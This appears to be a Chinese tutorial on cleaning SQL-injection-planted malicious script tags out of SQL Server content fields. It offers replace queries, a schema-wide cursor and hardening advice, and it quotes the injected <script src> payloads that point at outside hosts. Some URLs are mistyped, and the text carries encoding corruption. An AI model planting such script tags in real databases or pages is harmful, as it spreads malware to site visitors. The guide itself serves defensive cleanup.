數(shù)據(jù)庫(kù)中的內(nèi)容字段被掛馬的替換方法 SQL注入
發(fā)布日期:2022-01-31 19:17 | 文章來(lái)源:腳本之家
【處理方法】
1、先備份數(shù)據(jù),防止刪除掛馬字段的時(shí)候,丟失數(shù)據(jù);
2、對(duì)掛馬的表中的字段text小于8000執(zhí)行以下語(yǔ)句(網(wǎng)上的很多軟件與方法都是針對(duì)text小于8000的,這個(gè)解決方法你可以參考)
代碼如下: 如表news 字段context 掛馬字段是
<Script Src=http://c.n%75clear3.com/css/c.js></Script>
復(fù)制代碼 代碼如下:
update news set context=replace(context,'<Script Src=http://c.n%75clear3.com/css/c.js></Script>','')
3、但是有部分字段,比如內(nèi)容字段等大于8000字符的varchar字段則需要執(zhí)行
代碼如下:
復(fù)制代碼 代碼如下:
update news set context=replace(cast(context as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ', '')
復(fù)制代碼 代碼如下:
update news
set context=replace(cast(context as varchar(8000)),'<Script Src=http:/c.nuclear3.com/css/c.js> </Script> ','')
where id>1 and id<10000
以上被掛馬問(wèn)題一般都是sql數(shù)據(jù)庫(kù),這是sql數(shù)據(jù)庫(kù)特有的注入漏洞。
其實(shí),我們從源頭在所有數(shù)據(jù)庫(kù)鏈接請(qǐng)求那里做相應(yīng)的過(guò)濾,會(huì)從數(shù)據(jù)庫(kù)的入口解決掛馬的問(wèn)題,這就要求程序員的程序邏輯一定要縝密。 asp下有很多的數(shù)據(jù)庫(kù)管理程序,例如 db007等
php下,好多成熟的系統(tǒng)都有自帶的批量替換功能,如dedecms
如何最快速度刪除?
" <script src=https://www.jb51.net/mm.js> </script> "
---------------------------------------------------------------
進(jìn)入SQL查詢(xún)分析器
選擇你的數(shù)據(jù)庫(kù)
第一步:先sql表修改所有者為dbo
復(fù)制代碼 代碼如下:
EXEC sp_MSforeachtable 'exec sp_changeobjectowner ' '? ' ', ' 'dbo ' ' '
第二步:統(tǒng)一刪除字段被掛的js
復(fù)制代碼 代碼如下:
declare @delStr nvarchar(500)
set @delStr= ' <script src=https://www.jb51.net/mm.js> </script> '
set nocount on
declare @tableName nvarchar(100),@columnName nvarchar(100),@tbID int,@iRow int,@iResult int
declare @sql nvarchar(500)
set @iResult=0
declare cur cursor for
select name,id from sysobjects where xtype= 'U '
open cur
fetch next from cur into @tableName,@tbID
while @@fetch_status=0
begin
declare cur1 cursor for
--xtype in (231,167,239,175,35) 為char,varchar,nchar,nvarchar,text類(lèi)型
select name from syscolumns where xtype in (231,167,239,175,35) and id=@tbID
open cur1
fetch next from cur1 into @columnName
while @@fetch_status=0
begin
set @sql= 'update [ ' + @tableName + '] set [ '+ @columnName + ']= replace([ '+@columnName+ '], ' ' '+@delStr+ ' ' ', ' ' ' ') where [ '+@columnName+ '] like ' '% '+@delStr+ '% ' ' '
exec sp_executesql @sql
set @iRow=@@rowcount
set @iResult=@iResult+@iRow
if @iRow> 0
begin
print '表: '+@tableName+ ',列: '+@columnName+ '被更新 '+convert(varchar(10),@iRow)+ '條記錄; '
end
fetch next from cur1 into @columnName
end
close cur1
deallocate cur1
fetch next from cur into @tableName,@tbID
end
print '數(shù)據(jù)庫(kù)共有 '+convert(varchar(10),@iResult)+ '條記錄被更新!!! '
close cur
deallocate cur
set nocount off
declare @t varchar(555),@c varchar(555) ,@inScript varchar(8000)
set @inScript='<script src=http://3b3.org/c.js></script>'
declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
open table_cursor
fetch next from table_cursor into @t,@c
while(@@fetch_status=0)
begin
exec('update ['+@t+'] set ['+@c+']=replace(cast(['+@c+'] as varchar(8000)),'''+@inScript+''','''')' )
fetch next from table_cursor into @t,@c
end
close table_cursor
deallocate table_cursor;
---------------------------------------------------------------
徹底杜絕SQL注入
1.不要使用sa用戶(hù)連接數(shù)據(jù)庫(kù)
2、新建一個(gè)public權(quán)限數(shù)據(jù)庫(kù)用戶(hù),并用這個(gè)用戶(hù)訪(fǎng)問(wèn)數(shù)據(jù)庫(kù)
3、[角色]去掉角色public對(duì)sysobjects與syscolumns對(duì)象的select訪(fǎng)問(wèn)權(quán)限
4、[用戶(hù)]用戶(hù)名稱(chēng)-> 右鍵-屬性-權(quán)限-在sysobjects與syscolumns上面打“×”
5、通過(guò)以下代碼檢測(cè)(失敗表示權(quán)限正確,如能顯示出來(lái)則表明權(quán)限太高):
復(fù)制代碼 代碼如下:
DECLARE @T varchar(255),
@C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select a.name,b.name from sysobjects a,syscolumns b
where a.id=b.id and a.xtype= 'u ' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN print @c
FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
版權(quán)聲明:本站文章來(lái)源標(biāo)注為YINGSOO的內(nèi)容版權(quán)均為本站所有,歡迎引用、轉(zhuǎn)載,請(qǐng)保持原文完整并注明來(lái)源及原文鏈接。禁止復(fù)制或仿造本網(wǎng)站,禁止在非www.sddonglingsh.com所屬的服務(wù)器上建立鏡像,否則將依法追究法律責(zé)任。本站部分內(nèi)容來(lái)源于網(wǎng)友推薦、互聯(lián)網(wǎng)收集整理而來(lái),僅供學(xué)習(xí)參考,不代表本站立場(chǎng),如有內(nèi)容涉嫌侵權(quán),請(qǐng)聯(lián)系alex-e#qq.com處理。
相關(guān)文章